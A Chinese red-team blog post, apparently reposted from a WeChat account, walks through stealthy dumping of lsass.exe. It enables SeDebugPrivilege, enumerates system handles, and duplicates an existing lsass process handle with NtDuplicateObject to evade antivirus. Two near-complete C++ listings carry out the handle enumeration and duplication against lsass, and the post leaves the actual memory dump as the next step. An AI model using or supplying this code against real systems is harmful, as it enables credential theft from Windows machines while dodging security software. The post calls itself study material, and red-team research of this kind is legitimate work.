前言
这是国外老哥2020年提出的一种蛮有意思的思路。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习)
大致思路
我们先来看看大致的思路是什么样子的,然后来看看一些需要学习的点。
首先我们需要获得调式权限(SeDebugPrivilege) 然后我们使用NtQuerySystemInformation生成所有进程打开的所有句柄 利用OpenProcess打开句柄,赋予PROCESS_DUP_HANDLE权限 NtDuplicateObject将获取远程进程句柄的副本到我们的进程 利用NtQueryObject函数判断句柄是进程句柄还是其他一些东西 如果是进程句柄,则使用该句柄的副本调用QueryFullProcessImageName函数,它将显示进程可执行路径,以此判断是不是我们需要的那个进程 获得系统的调试权限就不多提了,这个利用RtlAdjustPrivilege函数即可轻松的获取到权限(不过需要在管理员权限下运行),我们先看看这个几函数以及其参数
NtQuerySystemInformation
NtQuerySystemInformation函数原型
__kernel_entry NTSTATUS NtQuerySystemInformation(
[in] SYSTEM_INFORMATION_CLASS SystemInformationClass,
[in, out] PVOID SystemInformation,
[in] ULONG SystemInformationLength,
[out, optional] PULONG ReturnLength
);
第一个参数就是要检索的系统信息的类型,我们这里使用SYSTEM_HANDLE_INFORMATION,可能在MSDN上没有这个参数,我们看看SYSTEM_HANDLE_INFORMATION的结构
typedef struct _SYSTEM_HANDLE
{
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
在_SYSTEM_HANDLE_INFORMATION中
-
HandleCount:表示句柄的总数 -
Handles[1]:即是单个的句柄(同时其详细结构在_SYSTEM_HANDLE中)
在_SYSTEM_HANDLE中表示单个句柄的参数
-
ProcessId:进程标识符 -
ObjectTypeNumber:打开的对象的类型 -
Flags:句柄属性标志 -
Handle:句柄数值,在进程打开的句柄中唯一标识某个句柄 -
Object:这个就是句柄对应的EPROCESS的地址 -
rantedAccess:句柄对象的访问权限
NtDuplicateObject
NtDuplicateObject这个参数是复制句柄,其原型如下,其可以对照ZwDuplicateObject
NTSYSCALLAPI
NTSTATUS
NTAPI
NtDuplicateObject(
_In_ HANDLE SourceProcessHandle,
_In_ HANDLE SourceHandle,
_In_opt_ HANDLE TargetProcessHandle,
_Out_opt_ PHANDLE TargetHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Options
);
-
SourceProcessHandle:要复制的句柄的源进程句柄 -
SourceHandle:要复制的句柄 -
TargetProcessHandle:接收新进程的目标进程句柄
一个句柄指针(就是保存句柄的副本),访问的权限,后面两个就不说明了,一般填0
NtQueryObject
NtQueryObject函数原型如下
NTSYSCALLAPI
NTSTATUS
NTAPI
NtQueryObject(
_In_ HANDLE Handle,
_In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
_Out_opt_ PVOID ObjectInformation,
_In_ ULONG ObjectInformationLength,
_Out_opt_ PULONG ReturnLength
);
主要是第二个参数,第二个参数我们用到OBJECT_TYPE_INFORMATION(我没有找到解释)
typedef struct _OBJECT_TYPE_INFORMATION
{
UNICODE_STRING Name;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccess;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
USHORT MaintainTypeList;
ULONG PoolType;
ULONG PagedPoolUsage;
ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
之后我们需要将缓冲区转换为UNICODE_STRING
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
Buffer是我们需要用到的,用于判断其是什么类型
我们随机选择一个进程进行测试,这里选择1048,我们将其进程中Type为Thread的和Handle给打印出来
#include <windows.h>
#include <stdio.h>
#include <iostream>
#include "ntdll.h"
#pragma comment(lib, "ntdll")
using namespace std;
int main(int argc, char* argv[]) {
NTSTATUS status;
ULONG handleInfoSize = 0x10000;
PSYSTEM_HANDLE_INFORMATION handleInfo;
HANDLE dupHandle;
ULONG returnLength;
HANDLE hProcess = NULL;
DWORD pid = 1048;
HANDLE processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid);
if (!processHandle) {
printf("Could not open PID %d! (Don't try to open a system process.)n", pid);
return 1;
}
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) {
handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
}
if (!NT_SUCCESS(status))
{
cout << "[-] NtQuerySystemInformation Error" << endl;
return 1;
}
//枚举所有的句柄
for (ULONG i = 0; i < handleInfo->HandleCount; i++)
{
if (handleInfo->Handles[i].ProcessId != pid) {
continue;
}
//复制句柄存储到dupHandle
status = NtDuplicateObject(processHandle, (HANDLE)handleInfo->Handles[i].Handle, GetCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0);
if (status != STATUS_SUCCESS) {
continue;
}
PVOID ObjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
status = NtQueryObject(dupHandle, ObjectTypeInformation, ObjectTypeInfo, 0x1000, NULL);
if (status != STATUS_SUCCESS) {
printf("[%#x] Error!n", handleInfo->Handles[i].Handle);
CloseHandle(dupHandle);
continue;
}
UNICODE_STRING objectType = *(PUNICODE_STRING)ObjectTypeInfo;
if (objectType.Length) {
if (wcsstr(objectType.Buffer, L"Thread") != NULL) {
printf("Handle:[%#x] Type: % Sn", handleInfo->Handles[i].Handle, objectType.Buffer);
}
}
}
free(handleInfo);
}
代码可能写的有点磕碜,读者可以参考一下
https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/
但是我们可以看到Name中有些进程并不是我们想要的,我们可以看看lsass.exe中Type为Process的Name,有很多我们并不需要的
因此我们需要对Name进行筛选,这时候就需要用到QueryFullProcessImageName
QueryFullProcessImageName
QueryFullProcessImageName函数原型
WINBASEAPI
BOOL
WINAPI
QueryFullProcessImageNameW(
_In_ HANDLE hProcess,
_In_ DWORD dwFlags,
_Out_writes_to_(*lpdwSize, *lpdwSize) LPWSTR lpExeName,
_Inout_ PDWORD lpdwSize
);
根据其句柄获得其文件的路径,我们可以利用其去判断是否是我们需要的文件
部分实现
#include <windows.h>
#include <stdio.h>
#include <iostream>
#include "ntdll.h"
#pragma comment(lib, "ntdll")
using namespace std;
int SeDebugPrivilege() {
BOOLEAN t;
NTSTATUS status = RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (!NT_SUCCESS(status)) {
cout << "[-] Unable to resolve RtlAdjustPrivilege" << endl;
return 1;
}
cout << "[+] RtlAdjustPrivilege Success" << endl;
}
int main(int argc, char* argv[]) {
NTSTATUS status;
ULONG handleInfoSize = 0x10000;
PSYSTEM_HANDLE_INFORMATION handleInfo;
HANDLE dupHandle;
ULONG returnLength;
HANDLE hProcess = NULL;
SeDebugPrivilege();
DWORD pid = ;
HANDLE processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid);
if (!processHandle) {
printf("Could not open PID %d! (Don't try to open a system process.)n", pid);
return 1;
}
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) {
handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
}
if (!NT_SUCCESS(status))
{
cout << "[-] NtQuerySystemInformation Error" << endl;
return 1;
}
//枚举所有的句柄
for (ULONG i = 0; i < handleInfo->HandleCount; i++)
{
if (handleInfo->Handles[i].ProcessId != pid) {
continue;
}
//复制句柄存储到dupHandle
status = NtDuplicateObject(processHandle, (HANDLE)handleInfo->Handles[i].Handle, GetCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0);
if (status != STATUS_SUCCESS) {
continue;
}
PVOID ObjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
status = NtQueryObject(dupHandle, ObjectTypeInformation, ObjectTypeInfo, 0x1000, NULL);
if (status != STATUS_SUCCESS) {
printf("[%#x] Error!n", handleInfo->Handles[i].Handle);
CloseHandle(dupHandle);
continue;
}
UNICODE_STRING objectType = *(PUNICODE_STRING)ObjectTypeInfo;
wchar_t path[MAX_PATH];
DWORD maxpath = MAX_PATH;
if (objectType.Length) {
if (wcsstr(objectType.Buffer, L"Process") != NULL) {
QueryFullProcessImageNameW(dupHandle, 0, path, &maxpath);
if (wcsstr(path, L"") != NULL) {
printf("Handle:[%#x] Type:%S DupHandle Handle:[%#x]n", handleInfo->Handles[i].Handle, objectType.Buffer, dupHandle);
}
}
}
}
free(handleInfo);
}
我们对lsass.exe进行了枚举,并且打印了复制的句柄副本
之后就可以利用其对应的复制的句柄副本进行dump了,后面就不讨论了。我们上面是直接给的进程的pid,我们可以通过进程快照或者复制所有的进程句柄,到最后判断那再进行筛选来自动获得其进程。
参考文章:https://skelsec.medium.com/duping-av-with-handles-537ef985eb03
文章来源于:https://xz.aliyun.com/t/12344
若有侵权请联系删除
加下方wx,拉你一起进群学习
往期推荐
原文始发于微信公众号(红队蓝军):利用NtDuplicateObject进行Dump